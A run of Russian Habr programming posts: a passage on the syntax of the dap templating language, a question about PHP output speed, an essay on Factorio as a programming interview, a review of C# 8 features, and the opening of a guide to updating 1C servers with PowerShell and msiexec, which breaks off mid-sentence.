синтаксисом, поэтому поначалу может казаться странным и непонятным. Но на самом деле он исключительно прост и, не побоюсь этого слова, прекрасен. В языке нет ключевых слов. Зарезервированы символы `.,$@:`(){}` и пробел, все остальное может использоваться свободно. В частности, идентификаторы могут содержать, или состоять целиком, например, из символов `!?*` и т.п. Кому-то это покажется дикостью, но на деле это очень, очень удобно. Например, самыми часто используемыми в dap являются операторы (кстати, имена операторов — тоже идентификаторы): * `!` — вывод значения в элемент, что-то вроде *print* * `!!` — установка свойства (атрибута) элемента, что-то вроде *setAttribute* * `?` — условный оператор, что-то вроде *if* * `*` — мультиплексор, или итератор, что-то вроде *for* Имена штатных операторов намеренно выбраны такими — невербальными. Во-первых, они просто короче — всего один символ. Во-вторых, хорошо отличимы от, скажем, имен констант и переменных. Ну и наконец, они нейтральны к локали и одинаково уместно выглядят в программах на любом национальном языке, хоть английском, хоть русском, хоть китайском (благо, javascript и unicode это позволяют). А кто не сталкивался с ситуацией, когда сидишь и тупишь, придумывая имя для переменной? Хотите верьте, хотите нет, в моем dap-коде практически все «булевы» (да/нет) переменные именуются `$?` (где `$` — это префикс переменной состояния, а собственно имя состоит просто из знака вопроса). Мне просто лень придумывать им имена, а потом еще и печатать их в нескольких местах. При этом никогда не возникает никаких сложностей с пониманием, что эта переменная означает в каждом конкретном месте: благодаря компактности и обозримости dap-кода, вся область действия такой переменной обычно умещается в несколько строк, и всегда понятно что к чему. ``` 'toggle'.d("$?=" // определяем $? и инициируем ее 'ничем' (удобная разновидность false) ,'BUTTON'.d("! `Toggle").ui("$?=$?:!") // кнопкой инвертируем $?, как в x=!x ,'on'.d("? $?; ! `✓") // показать галочку если $? не пустой ) ``` Разумеется, это всего лишь мой личный стиль. Если вы пришли из мира Enterprise Java, не беспокойтесь: никто не запретит вам использовать сколь угодно длинные идентификаторы в любом месте. Чего нельзя сказать о литералах. Литералы в dap-правилах обозначаются префиксом ``` (backtick, на клавиатурах обычно под клавишей Esc). Например, элемент BUTTON в примере выше подписан литералом ``Toggle`. В отличие от других, «нормальных» языков, где, скажем, строковые литералы заключаются в кавычки и могут содержать приличные объемы текста, в dap-правилах литералы обрамляются только с одной стороны (тем самым префиксом ```), и не могут содержать пробелов, т.к. пробел служит разделителем токенов («аргументов») в правиле. Как же так, спросите вы? А вот так. Литералы в dap предназначены не для эпистолярных фрагментов, а для различных коротких кодов: номеров, меток, каких-то отладочных заглушек и.п. Текстовые данные (как, впрочем, и любые другие) dap настойчиво требует хранить в виде констант в специальном словаре, в секции `.DICT` (от «dictionary», понятное дело): ``` 'whoami'.d("$fruit=" ,'H3'.d("! ($fruit msg.fruit-selected msg.please-select)?! $fruit") ,'UL'.d("* fruit" ,'LI'.d("! .fruit").ui("$fruit=.") ) ) .DICT({ msg :{ "please-select": "Кто я? Зачем я в этом мире?", "fruit-selected": "Я — " }, fruit :["Апельсинчик, сочный витаминчик", "Яблочко зеленое, солнцем напоённое", "Cлива лиловая, спелая, садовая", "Абрикос, на юге рос"] }) ``` Очевидным преимуществом хранения всех текстов в словаре является, например, легкость последующих локализаций на другие языки. Но в словаре хранятся не только текстовые данные, а вообще любые повторно используемые сущности. В том числе, параметризуемые шаблоны, или «компоненты», как их называют в других фреймворках: ``` 'multiselect'.d("$color= $size=" ,'H3'.d("! (($color $size)? (selected $color $size)spaced not-selected)?!") ,'size'.d("$!=select(sizes@options)").u("$size=$!.value") // использовать шаблон select с данными из sizes ,'color'.d("$!=select(colors@options)").u("$color=$!.value") // использовать шаблон select с данными из colors ) .DICT({ select: 'SELECT'.d("* .options@value" // этот шаблон используется выше ,'OPTION'.d("! .value") ).ui(".value=#:value"), sizes: ["XS","S","M","L","XL"], colors: "white black brown yellow pink".split(" "), // когда лень писать массив "not-selected": "Select size and color please", selected: "Selected specs:" }) ``` В принципе, ничто не мешает вообще все приложение разбить на «компоненты» и запихнуть в словарь, если вам нравится такой стиль: ``` 'main'.d("! header content footer") .DICT({ header : 'HEADER'.d(...), content : 'UL.menu'.d(...), footer : 'FOOTER'.d(...) }) ``` Лично я в этом смысла особого не вижу, и обычно выношу в словарь только те фрагменты, которые реально используются многократно. Кстати, поскольку это все еще обычный javascript, а собственно словарь — это, как можно видеть, просто объект (или, как их еще называют, ассоциативный массив), то и формировать его можно любым легальным для javascript способом. Например, в примере чуть выше массив значений для константы `colors` генерируется из строки с помощью метода [split](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String/split). Можно вообще весь объект для словаря импортировать из внешнего скрипта-библиотеки любым доступным способом — хоть по старинке через
https://habr.com/ru/post/478330/
null
ru
null
# output в PHP Хочу узнать, как можно ускорить 'вывод' страницы, написанной на php? Код такой: > `$start=microtime(true); > > > > echo $html; > > > > echo microtime(true)-$start;` Страница загружается через сеть, посредством http запроса. Результат работы скрипта: 0.023 — то есть потеря 0.02 sec на 20 килобайт текста. Выделенный сервер — Athlon 2800+/512 ram/10 Mbit/Linux, Apache 2 + eaccelerator + php 5.2.4. (объеденяющая сервер с клиентом сеть — 10 Mbit) Расскажите мне: [Почему это происходит?](http://habrahabr.ru/blogs/php/45016/#comment_1140599) Как это можно ускорить? Интересует, чемнибудь может помочь установка nginx или lighttpd? Спасибо. Upd. Решение уже обсуждалась здесь: [habrahabr.ru/blogs/php/45016](http://habrahabr.ru/blogs/php/45016/) (спасибо [DYPA](https://geektimes.ru/users/dypa/) и автору топика [gnomeby](https://geektimes.ru/users/gnomeby/))
https://habr.com/ru/post/56376/
null
ru
null
# Совместная игра в Factorio — лучшее собеседование для программистов, что мы проводили ![](https://habrastorage.org/webt/1a/lx/3d/1alx3d2fvf9cn7lqmfjbsdoxame.gif)В последнее время много копий сломано вокруг технических собеседований. Очевидно, что инвертирование двоичного дерева на доске практически никак не связано с практическими навыками реального программиста. Примитивный [Fizzbuzz](https://www.globalnerdy.com/2012/11/15/fizzbuzz-still-works/) по-прежнему остаётся самым эффективным тестом. Как следствие, выросло внимание к опенсорсным проектам, но оказалось, что это [тоже не очень хороший показатель](https://blog.ploeh.dk/2021/03/22/the-dispassionate-developer/), потому что у большинства профессионалов нет на них времени. У нас в компании самое эффективное собеседование по программированию на сегодняшний день — это обычно какое-то домашнее задание на несколько дней, в котором кандидата просят исправить баг или реализовать небольшую функцию. Это не очень хорошо, потому что занимает много времени, и человек может получить внешнюю помощь (или погуглить, если функция достаточно распространённая). С другой стороны, некоторые крупные компании вместо этого удвоили количество собеседований с доской (и алгоритмами), подвергая будущих инженеров [многочасовым сессиям онлайн-программирования](https://habr.com/ru/post/550088/) с различным уровнем инвазивного наблюдения. Все эти методы интервью не сравнятся с очень простой метрикой: **совместная игра в Factorio**. Прохождение всего цикла Factorio — практически идеальный показатель, насколько хорошо человек решает общие технические проблемы. Можно даже настроить прохождение игры на основе будущей должности, чтобы лучше понять, как кандидат справится со своей ролью. Factorio? ========= Factorio — это игра об автоматизации. Вероятно, лучшим введением будет [этот трейлер](https://www.youtube.com/watch?v=KVvXv1Z6EY8), но, по сути, ваша задача — построить автоматизированный завод, способный запустить ракету в космос. Начинаете с нуля. Добываете вручную железную руду и камень, строите плавильную печь, чтобы плавить руду в железные пластины, из которых можно скрафтить автоматический твёрдотопливный бур. Можно самостоятельно забирать железную руду из бура и закладывать её в плавильню, но более эффективно использовать автоматический конвейер. Потом можно использовать полученное железо, чтобы сделать другой бур, который автоматизирует добычу угля. Затем строится конвейер для забора угля и конвейер для его передачи в бур. Эта крошечная фабрика производит железные пластины, из которых можно сделать третий бур — и начать добычу медной руды, которая позволяет крафтить медные плиты, а из них можно сделать медный провод, необходимый для работы погружного насоса. В сочетании с паровым котлом и паровым двигателем это даёт нам первую электроэнергию. Её можно использовать для исследовательского центра и изобретения новых технологий, таких как сборочный автомат. Как только разблокируете сборочные автоматы, можете использовать сделанный вручную провод для создания сборочной машины, которая будет автоматически изготавливать эти провода. В конце концов вы разблокируете поезда, роботов и логистические системы, которые помогут справиться с растущей логистической сложностью игры. Ну и в итоге сможете запустить ракету в космос. Выбор направления ================= Игра начинается без установленной цели и почти без направления. Ведущий программист должен быть способен изучить UI и определить цель, а затем разработать план для её достижения. От джуниора ожидают правильного выполнения задач, поставленных ведущим разработчиком. Предполагается, что стажёр работает с наставником, но джуниор должен быть в состоянии самостоятельно устранить основные проблемы со своим кодом, прежде чем просить помощи от старшего. Миддл должен уметь работать независимо, как только ему дают задание, но от него не ожидают архитектурного проектирования. Конкретные ожидания можно сформулировать так: * **Стажёр**, как правило, должен быть в состоянии разместить чертёж и соединить его с чем-то ещё, например, с месторождением руды. * От **джуниоров** ожидают самостоятельного строительства производственной линии, пусть и не оптимальной. Им может понадобиться помощь старшего разработчика в том, как правильно направить конвейеры ко всем промежуточным сборочным автоматам. * Как только получено задание, **миддл** должен спроектировать почти оптимальную производственную линию (без маяков) с минимальным контролем. * **Ведущий программист** не нуждается в руководстве, способен сам определить цели и разработать план действий, а затем делегировать эти задачи другим программистам. Командная работа ================ Важнейшим аспектом разработки программного обеспечения является умение работать в команде. Это означает координацию усилий с другими людьми, удовлетворение потребностей чужих проектов и сотрудничество с командой, а не самостоятельную работу, когда вы отказываетесь изменить свой дизайн, чтобы помочь интегрировать его с чьей-то работой. Естественно, такие ситуации всё время возникают в Factorio, потому что стандартные чертежи ограничены физическим пространством. В результате нужно тщательно изучить действия других людей, а иногда скорректировать свой дизайн, чтобы вписаться в ограничения по размеру или приспособиться к какому-то чужому чертежу, который занял больше места, чем ожидалось. Если игрок уйдёт в себя, начнёт делать всё сам или молча исправлять проблемы, это быстро навлечёт на него гнев команды по тем же самым причинам, по которым коллеги злятся на программистов-ковбоев. К счастью, в Factorio есть встроенный эквивалент `git blame`: он показывает последнего игрока, который изменил любую сущность. Таким образом, если кто-то поставил костыль и не сообщил команде о проблеме, то когда этот костыль наконец сломается — все узнают, кто виноват. Если хотите выиграть, придётся плотно сотрудничать с товарищами по команде. Отладка ======= Одним из главных навыков для программиста является отладка. Это, пожалуй, самая очевидная параллель между Factorio и реальной разработкой ПО. Что-то может сломаться очень далеко от фактического источника проблемы. Способность быстро выяснить реальную проблему — это критический навык, и процесс мышления почти идентичен отслеживанию причины сбоя в реальной программе. Если перестал работать сборочный автомат, сначала нужно проверить выходящие потоки. Потом проверить, какого ингредиента не хватает на входе. Затем проследить ингредиент по фабрике, чтобы узнать, где он производится. И повторять процесс снова и снова, до тошноты. Отладка в Factorio быстро усложняется. Как только вы построите нефтеперерабатывающий завод, то займётесь крекингом, где на выходе три разных трубы (мазут, дизельное топливо и попутный нефтяной газ), и если какая-то из них по какой-то причине стопорится, то весь завод прекращает работу. Бывали случаи, когда весь завод останавливался, потому что вы начали исследовать что-то, не требующее жёлтой науки. В результате вы перестали использовать каркасы дронов, которым перестали поставляться электрические двигатели, где использовалась смазочная жидкость, для производства которой забирался мазут. В итоге стопорилась выходящая труба на нефтеперерабатывающем заводе, из-за чего у вас заканчивался попутный нефтяной газ (petrolium), что останавливало производство пластмассы. Как результат, прекращался выпуск сигнального красного провода — и вся фабрика выходила из строя. Опытные игроки предвидят подобные сценарии и внедряют самобалансирующийся крекинг нефти, чтобы всегда гарантировать баланс системы. Такой завод остановится только при закупорке выходящей трубы с попутным газом. Если хорошему программисту дадут сломавшийся нефтеперерабатывающий завод, он обычно сможет проследить проблему до источника, понять, что произошло, и быстро попытаться найти решение. С другой стороны, если человек просто плюхает на землю пару новых резервуаров без веской причины (он абсолютно уверен, что смазочная жидкость будет нужна всегда), то это большой красный флаг на методы решения проблем в его программах. Подобные ситуации позволяют Factorio точно сымитировать сложные взаимозависимости, с которыми обычно имеют дело программисты. Сложность возрастает по мере добавления в геймплей новых концепций. Это очень похоже на рост сложности от дополнительных уровней абстракции в отладке сбоя, который мог произойти глубоко внутри одного из используемых вами фреймворков. Код-ревью ========= Часто первоначальный дизайн нужно исправить для повышения производительности или пропускной способности. Хорошие программисты не только примут критику своих чертежей, но и учтут её в будущей работе. Если они не согласны с изменением, то предоставят конкретное объяснение, чтобы команда могла более точно обдумать плюсы и минусы предлагаемого изменения. Сопротивление фидбеку без веских причин — хорошо известный красный флаг. Кроме того, настороженность вызывает программист, который неохотно принимает предлагаемые изменения и отказывается соответствующим образом корректировать будущие проекты. В итоге ему придётся постоянно напоминать о необходимости придерживаться какого-то стандартного способа решения проблемы. При этом человек не объясняет, почему ему не нравится предлагаемый метод. Это потенциально бомба замедленного действия в организации, потому что без присмотра он может быстро накопить технический долг для своих коллег. Такого рода проблемы практически невозможно уловить на традиционном собеседовании, только на стажировке. Стиль написания кода и фреймворки ================================= Отказ следовать советам — лишь часть гораздо большей проблемы, когда программист не способен нормально интегрироваться в существующую структуру. Есть много способов построить фабрику в Factorio, и каждый требует стандартных методов сборки. Несоблюдение стандартов быстро затормозит всю фабрику, часто тонкими способами, которые не очевидны неосторожному разработчику. Конструкция магистрального ленточного конвейера включает 4-8 конвейеров, разделённых на две секции (для подземных конвейеров). Он помещается в центре фабрики, и всё производство происходит перпендикулярно ленте. Эта конструкция опирается на несколько правил, нарушение которых может привести к полному хаосу. Во-первых, всегда следует использовать разделитель на выходе с конвейера. Никогда нельзя перенаправлять всю ленту: пустое пространство для другой ленты означает, что вы теряете целый конвейер ресурсов, даже после апгрейда. Во-вторых, все заводы должны масштабироваться перпендикулярно основному конвейеру. Невозможность быстрого масштабирования приведёт либо к огромной потере пространства, либо к невозможности масштабирования производственной линии, потому что она окружена другими производственными линиями. ![](https://habrastorage.org/webt/mv/dc/dz/mvdcdzxzhc6qgj3dmiby_kz645w.gif) *Логистическая сеть* Есть разные способы построения логистических сетей. Самый простой — с сундуками пассивного снабжения. Но есть другой метод — сундуки хранения с фильтром, который решает проблему с мусором. Оба метода требуют правильной установки ограничителей в нужных местах. Сундуки пассивного снабжения обычно ограничены пространством сундука. К сундукам хранения нужно поставить манипулятор для подключения сундука к логистической сети. И обеспечить не менее N предметов перед установкой манипулятора. Если забыть про эти шаги, то будут впустую потрачены огромные ресурсы. Если программист *постоянно* забывает про ограничители на выходах — это красный флаг, что человек небрежно относится к производительности в реальных приложениях. В других случаях команда может применять заранее разработанные чертежи, такие как проект ядерного реактора или роботизированного завода на дронах (bot factory). Они могут быть крайне сложными, но если сделать над собой усилие и разобраться, то они чрезвычайно экономят время. Остерегайтесь кандидатов, которые не хотят настраивать на заводе новый элемент просто потому, что не могут отследить сложную управляющую логику. Или кто бросает попытки разобраться в алгоритме функционирования такого завода, несмотря на очевидные преимущества дронов перед конвейерами. [![](https://habrastorage.org/r/w780q1/webt/h_/z-/yd/h_z-yd4qb_j2ykq3rhrdwk5uu-q.jpeg)](https://habrastorage.org/webt/h_/z-/yd/h_z-yd4qb_j2ykq3rhrdwk5uu-q.jpeg) *Неоптимальный дизайн завода на дронах, [источник](https://www.reddit.com/r/factorio/comments/6mozr0/my_first_bot_factory_what_do_you_think/)* Многопоточность =============== Поезда в Factorio — прямой аналог многопоточности: один поезд — это один поток выполнения, а каждое пересечение поездов или остановка — место в памяти, куда два потока потенциально могут писать одновременно. Светофоры — это блокировки (или мьютексы). Все баги в железнодорожной сети проявляются точно так же, как состояние гонки в ПО, потому что они буквально являются физическим состоянием гонки. Все компромиссы применимы и здесь — слишком длительная блокировка уменьшает пропускную способность. Неправильное проектирование светофоров обычно вызывает взаимоблокировку, точно так же, как в программном обеспечении, потому что в итоге возникает циклическая зависимость блокировок. Самая распространённая взаимоблокировка — это когда поезд слишком длинный и неожиданно блокирует второй перекрёсток, ожидая входа в первый. Затем этот второй перекрёсток препятствует отправлению другого поезда, предотвращая разблокировку первого перекрёстка. Количество путей в железнодорожной сети соответствует количеству ядер CPU. Один железнодорожный путь трудно масштабировать больше, чем на несколько полос, потому что пропускная способность всей системы очень быстро ограничивается, даже с зонами ожидания. Наиболее распространённой конструкцией является двухполосная конструкция, по одной полосе в каждую сторону. Здесь появятся проблемы с пропускной способностью, когда возникнет необходимость постоянно разгружать поезда. Поэтому в больших железнодорожных сетях минимум по четыре полосы, причём две внешние действуют как объездные пути, чтобы избежать пересечений, когда это возможно. Проблемы со светофорами в этих системах могут проявиться через фантастический промежуток времени. Единственный пропущенный светофор в одной железнодорожной сети однажды вызвал взаимную блокировку после корректной работы в течение *двух недель*. Так же и в программах состояние гонки может проявляться только раз в месяц, когда под сильной нагрузкой возникает высокая конкуренция потоков. Масштабирование =============== Как и в программном обеспечении, масштабирование производства в Factorio вводит новые проблемы в оригинальный дизайн чертежей и часто требует полной перестройки для максимального повышения производительности, с установкой модулей продуктивности и модулей скорости с маяками. Конвейеры становятся узким местом производительности даже на максимальной скорости ленты, заставляя искать способы разделить конструкции так, чтобы позже можно было вставить больше лент, или разделить заводы на модули. Управление логистической сетью само по себе становится логистической задачей в конце игры из-за того количества проблем, какое вызывают экспансивные дрон-сети. Как правило, нужно приступить к сегментированию логистической сети и либо использовать поезда для транспортировки товаров между сегментами, либо строить сундуки запроса и снабжения, которые будут передавать товары через границы. В конце игре для управления поездами требует перехода с push-архитектуры на pull-архитектуру, поскольку push-архитектура не справляется с высокой пропускной способностью. Это неизбежно приводит к использованию функции Train Limit и изучению, как использовать логические сети для кодирования базовой логики, чтобы станция запрашивала поезд только тогда, когда действительно готова полностью заполнить его ресурсами, вместо обычной игровой тактики в начале игры, когда куче поездов просто даётся команда ехать за железом. Новая схема сводит к минимуму количество поездов и при этом гарантирует, что в сети обслуживаются все станции. Часто бывает, что ограничения входных линий в сборочный автомат и лимиты скорости манипулятора требуют перепроектирования заводов вокруг, точно так же, как высокоскоростные вычисления требуют знания узких мест в работе CPU. Эти узкие места почти никогда не являются проблемой, пока вы не достигнете определённого масштаба, но после этого начинают ограничивать производительность. Микросервисы и модули ===================== В конце концов, заводы становятся настолько огромными, что приходится отказаться от простого дизайна с основным ленточным конвейером или спагетти-дизайна — и перейти на более масштабируемую структуру. Чтобы выйти на мега-уровень, заводы обычно используют либо систему поездов, либо модульную систему, которая примерно соответствует микросервисам или архитектуре с плагинами. Мегабазу на основе поездов иногда называют дизайном «городских кварталов» (city-block), где поезда вокруг кварталов завода контролируют все входы и выходы. Таким образом, каждый отдельный квартал изолирован от всех остальных, поскольку все входные данные «чисты» в том смысле, что они поступают из железнодорожной сети. Это почти идентично архитектуре микросервисов (по HTTP) или межпроцессному взаимодействию (IPC), с аналогичными потенциальными проблемами из-за задержек I/O, поскольку результаты не могут поступать постоянно, они должны передаваться в «пакетах» или поездах по железнодорожной сети. Модульная архитектура пытается сохранить некое подобие основного конвейера, но вместо этого разделяет ленты на заводе и использует модульные блоки, которые принимают стандартные входы и стандартные выходы. Иногда этого можно достичь полностью с помощью дронов, но обычно материалы приходится доставлять по конвейеру на большие расстояния. Это очень похоже на систему модулей для монолитного приложения с теми же компромиссами. Такие мегабазы представляют верхний уровень дефолтного сервера Factorio. Конечно, существует много модов, которые гораздо усложняют игру. Распределённые системы ====================== [Space Exploration](https://mods.factorio.com/mod/space-exploration) — полностью переделанная версия Factorio для колонизации космоса. Здесь планеты становятся ограниченными ресурсами, требуя от игроков колонизировать другие миры и использовать ракеты для передачи ресурсов между планетами. Из-за огромной задержки с доставкой материалов между планетами, координация этих баз приводит к возникновению проблем, сходных с глобально распределённой системой баз данных. Даже в логической сети приходится бороться с задержкой, потому что автоматическая система теряет из виду элементы, которые запущены, но ещё не достигли целевой планеты. Если это не учитывать, возникают *дубликаты запросов* для всех нужных элементов. С точно такой же проблемой сталкиваются распределённые системы при попытке обеспечить согласованность между узлами. Вывод ===== В целом софтверная индустрия не имеет ни малейшего представления, как находить и нанимать лучших разработчиков. Наверное, совместная игра в Factorio стала лучшим техническим собеседованием, которые мы когда-либо проводили. И *это нас сильно смущает*. Такое собеседование дико непрактично, занимает более 20 часов в мультиплеере с первого раза или 8 часов для команды опытных игроков. Что из этого можно извлечь? Не знаю. Мы, конечно, не можем перейти на Factorio в качестве метода собеседований — с таким же успехом можно просто дать кандидату домашнее задание. Но это уже лучше, чем собеседование на доске.
https://habr.com/ru/post/551622/
null
ru
null
# Как я провел лето с C# 8 В недавнем выпуске подкаста [DotNet & More](https://dotnetmore.ru/) [Blazor, NetCore 3.0 Preview, C#8 и не только](https://dotnetmore.ru/podcast/21-blazor/) мы лишь вскользь упомянули такую животрепещущую тему, как C#8. Рассказ об опыте работы с C# 8 был недостаточно большим, что-бы посвящать ему отдельный выпуск, так что было решено поделиться им средствами эпистолярного жанра. В данной статье я бы хотел рассказать о своем опыте использования C#8 на продакшене в течение 4 месяцев. Ниже Вы сможете найти ответы на следующие вопросы: * Как "пишется" на новом C# * Какие возможности оказались действительно полезными * Что разочаровало Полный список возможностей C#8 можно найти в [официальной документации от Microsoft](https://docs.microsoft.com/en-us/dotnet/csharp/whats-new/csharp-8). В данной статье я опущу те возможности, которые не смог опробовать по тем или иным причинам, а именно: * Readonly members * Default interface members * Disposable ref structs * Asynchronous streams * Indices and ranges Начать я предлагаю с одной из самых, как мне раньше казалось, вкусных возможностей ### Switch expressions В наших мечтах мы представляем эту функцию достаточно радужно: ``` int Exec(Operation operation, int x, int y) => operation switch { Operation.Summ => x + y, Operation.Diff => x - y, Operation.Mult => x * y, Operation.Div => x / y, _ => throw new NotSupportedException() }; ``` Но, к сожалению, реальность вносит свои коррективы. Во-первых, отсутствует возможность объединения условий: ``` string TrafficLights(Signal signal) { switch (signal) { case Signal.Red: case Signal.Yellow: return "stop"; case Signal.Green: return "go"; default: throw new NotSupportedException(); } } ``` На практике это означает что в половине случаев switch expression придется превращать в обычный switch, дабы избежать copy-paste. Во-вторых, новый синтаксис не поддерживает statements, т.е. код, не возвращающий значения. Казалось бы, ну и не надо, но я был сам удивлен, когда понял, на сколько часто используется switch (в связке с pattern matching) для такой вещи как assertion в тестах. В третьих, switch expression, что вытекает из прошлого пункта, не поддерживает многострочные обработчики. Насколько это страшно мы понимаем в момент добавления логов: ``` int ExecFull(Operation operation, int x, int y) { switch (operation) { case Operation.Summ: logger.LogTrace("{x} + {y}", x, y); return x + y; case Operation.Diff: logger.LogTrace("{x} - {y}", x, y); return x - y; case Operation.Mult: logger.LogTrace("{x} * {y}", x, y); return x * y; case Operation.Div: logger.LogTrace("{x} / {y}", x, y); return x / y; default: throw new NotSupportedException(); } } ``` Я не хочу сказать, что новый switch плох. Нет, он хорош, просто недостаточно хорош. ### Property & Positional patterns Год назад они мне казались главными кандидатами на звание "возможность, изменившая разработку". И, как и ожидалось, что-бы использовать всю мощь positional и property patterns, необходимо поменять свой подход к разработке. А именно, приходится имитировать алгебраические типы данных. Казалось бы, в чем проблема: берешь маркер-интерфейс и вперед. К сожалению, в большом проекте у этого способа есть серьезный недостаток: никто не гарантирует отслеживание в design time расширения Ваших алгебраических типов. А значит, велика вероятность того, что со временем внесение изменений в код будет приводить к массе "проваливаний в default" в самых неожиданных местах. ### Tuple patterns А вот "младший брат" новых возможностей сопоставления с образцом показал себя настоящим молодцом. Все дело в том, что tuple pattern не требует каких либо изменений в привычной архитектуре нашего кода, он просто упрощает некоторые кейсы: ``` Player? Play(Gesture left, Gesture right) { switch (left, right) { case (Gesture.Rock, Gesture.Rock): case (Gesture.Paper, Gesture.Paper): case (Gesture.Scissors, Gesture.Scissors): return null; case (Gesture.Rock, Gesture.Scissors): case (Gesture.Scissors, Gesture.Paper): case (Gesture.Paper, Gesture.Rock): return Player.Left; case (Gesture.Paper, Gesture.Scissors): case (Gesture.Rock, Gesture.Paper): case (Gesture.Scissors, Gesture.Rock): return Player.Right; default: throw new NotSupportedException(); } } ``` Но самое прекрасное, данная возможность, что достаточно предсказуемо, замечательно работает с методом Deconstruct. Достаточно просто передать в switch класс с реализованным Deconstruct и использовать возможности tuple pattern. ### Using declarations Казалось бы минорная возможность, но так много радости приносит. Во всех промо Microsoft рассказывает о таком аспекте как уменьшение вложенности. Но давайте быть честными, не на столько это значимо. А вот что действительно серьезно, так это сайд эффекты от исключения одного блока кода: * Нередко, при добавлении using нам приходится вытаскивать код "внутрь" блока, методом copy-paste. Теперь мы об этом попросту не думаем * Переменные, объявленные внутри using и используемые после Dispose объекта using, самая настоящая головная боль. Еще на одну проблему меньше * В классах, требующих частого вызова Dispose, каждый метод был бы на 2 строчки длиннее. Казалось бы, мелочь, но в условии множества небольших методов эта мелочь не позволяет отобразить достаточное количество этих самых методов на одном экране В итоге такая простая вещь как using declarations настолько сильно меняет ощущение от кодирования, что попросту не хочется возвращаться на c#7.3. ### Static local functions Если честно, если бы не помощь code analysis, я бы даже не заметил эту возможность. Тем не менее она плотно обосновалась в моем коде: ведь статические локальные функции отлично подходят на роль небольших чистых функций, так как не могут поддержать замыкание переменных метода. Как результат, на сердце легче, так как понимаешь, что на одну потенциальную ошибку в твоем коде меньше. ### Nullable reference types И на десерт хотелось бы упомянуть самую главную возможность C#8. По правде говоря, разбор nullable reference types заслуживает отдельной статьи. Мне же хочется просто описать ощущения. * Во-первых, это прекрасно. Я и раньше мог описать явное свое намерение объявить поле или свойство nullable, но теперь эта функция встроена в язык. * Во-вторых, это совершенно не спасает от NullReferenceException. И я не говорю про пресловутое "забивание" на warnings. Просто в runtime Вам никто не генерирует никаких проверок аргументов на null, так что не спешите выкидывать код вида throw new ArgumentNullException() * В третьих, возникает серьёзная проблема с DTO. Например, вы аннотируете свойство атрибутом Required. Соответственно, в Ваш WebAPI контроллер попадет объект с 100% not null свойством. Однако, невозможно связать данный атрибут и все похожие атрибуты с проверками nullable reference types. Все дело в том, что если вы объявите стандартное *MyProperty {get; set;}* свойство с NotNull типом, то Вы получите warning: *"[CS8618] Non-nullable property 'MyProperty' is uninitialized. Consider declaring the property as nullable"*. Что достаточно справедливо, так как вы не можете в процессе инициализации объекта гарантировать not null семантику. Только результатом данной особенности является невозможность использовать not null свойства в любых DTO. Но есть хорошая новость, существует простой workaround — достаточно проинициализировать ваше поле значением по-умолчанию: ``` public string MyProperty { get; set; } = ""; ``` * В четвертых, атрибуты, позволяющие обработать сложные случаи, типа TryGetValue, сами по себе достаточно непросты. Как результат, высока вероятность, что не особо сознательные разработчики будут злоупотреблять операторами (!), тем самым нивелируя возможности nullable reference types. Одна надежда на анализаторы. * В пятых, и самое главное, лично меня эта возможность уже много раз спасла от NullReferenceException ошибок. Получается банальная экономия времени — масса ошибок ловится на этапе компиляции, а не тестов или отладки. Особенно это актуально не только в процессе разработки сложной бизнес логики, но и в случае банальной работы с внешними библиотеками, DTO, и прочими зависимостями, возможно, содержащими null. Резюме ------ Конечно, представленные возможности не дотягивают до полноценной революции, но все меньше и меньше остается зазор между C# и F#/Scala. Хорошо ли это или плохо, время покажет. В момент релиза данной статьи C#8, возможно, уже поселился в Вашем проекте, потому мне было бы интересно, какие Ваши ощущения от новой версии нашего любимого языка?
https://habr.com/ru/post/467655/
null
ru
null
# Как быстро обновить много серверов 1С ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/28a/7ce/931/28a7ce931012ba51764f50d36662af6b.jpg)В основном проблема обновления платформы 1С стоит для клиентской части. Клиентских компьютеров может быть десятки и сотни, в то время как серверов на порядки меньше. У нас проблема обновления клиентских машин не стоит, клиенты запускаются на VDI, а там обновление сводится к установке на одной виртуальной машине и ее клонировании. После победы над клиентами хочется разобраться с серверной частью. В интернете есть достаточное количество статей на тему, как обновить платформу 1С на клиентских машинах. С серверной частью все ПОЧТИ тоже самое. Вот про это ПОЧТИ и хочу рассказать. У нас для серверов 1С используется Windows, поэтому все, что написано далее относится только к установке 1С на Windows. Обновление серверной части, состоит из нескольких действий: * Установка платформы 1С на сервере * Регистрация компонентов, таких как COM и консоль администрирования * Обновление пути к компоненте wsisapi.dll в конфигурационных файлах веб-сервера, в нашем случае IIS. Отдельный вопрос - выбор среды для запуска языка и среды запуска скриптов. Нам хотелось как можно меньше использовать чего-то нового, поэтому выбор пал на то, что уже есть везде -  PowerShell. У нас есть своя система для учета серверов и какие сервисы на них должны быть запущены. Из нее создаются индивидуальные скрипты для каждого сервера, которые запускаются из единого места. ``` $session = New-PSSession -ComputerName [Сервер]; Invoke-Command -Session $session -ScriptBlock {[Скрипт]} ; Remove-PSSession $session ``` ### Побеждаем установку сервера Суть всей установки сводится к запуску 1CEnterprise 8 (x86-64).msi с параметрами, которые есть в документации: * DESIGNERALLCLIENTS - все виды клиентов * THICKCLIENT – толстый клиент (в том числе позволяет запускать конфигуратор) * THINCLIENT – тонкий клиент для клиент-серверного варианта работы. * THINCLIENTFILE – тонкий клиент с возможностью работы с файловыми информационными базами * SERVER – серверная часть 1С * WEBSERVEREXT – компоненты расширения для веб-сервера * CONFREPOSSERVER – сервер хранилища конфигураций * SERVERCLIENT – компоненты для администрирования кластера серверов * CONVERTER77 – конвертер информационных баз из версии 1С:Предприятия 7.7 * LANGUAGES – список языков интерфейса для установки через запятую То есть, если хотим установить серверную часть 1С, то запуск установки будет выглядеть примерно так: ``` msiexec /i “C:\LastVersion\1CEnterprise 8 (x86-64).msi” /qn TRANSFORMS=adminstallrestart.mst;1049.mst DESIGNERALLCLIENTS=1 THICKCLIENT=0 THINCLIENTFILE=0 THINCLIENT=0 WEBSERVEREXT=1 SERVER=1 CONFREPOSSERVER=0 CONVERTER77=0 SERVERCLIENT=1 LANGUAGES=RU ``` И вот здесь начинаются проблемы. При установке серверной части происходит регистрация сервиса и его запуск. При этом, такие параметры запуска, как каталог файлов сервера, пользователь под которым будет работать служба сервера указать невозможно. Это приводит к тому, что настроенные в реестре параметры запуска службы сервера будут перезаписаны на значения по умолчанию. Мы попробовали два подхода к устранению этой неприятности: #### Подход 1: Не будем регистрировать и запускать сервис Попробуем отключить регистрацию и запуск сервиса. Регистрацию и запуск сделаем отдельными скриптами. Стандартных параметров запуска недостаточно. Давайте поменяем саму программу установки. Качаем Windows SDK и устанавливаем Orca. Открываем нашего пациента 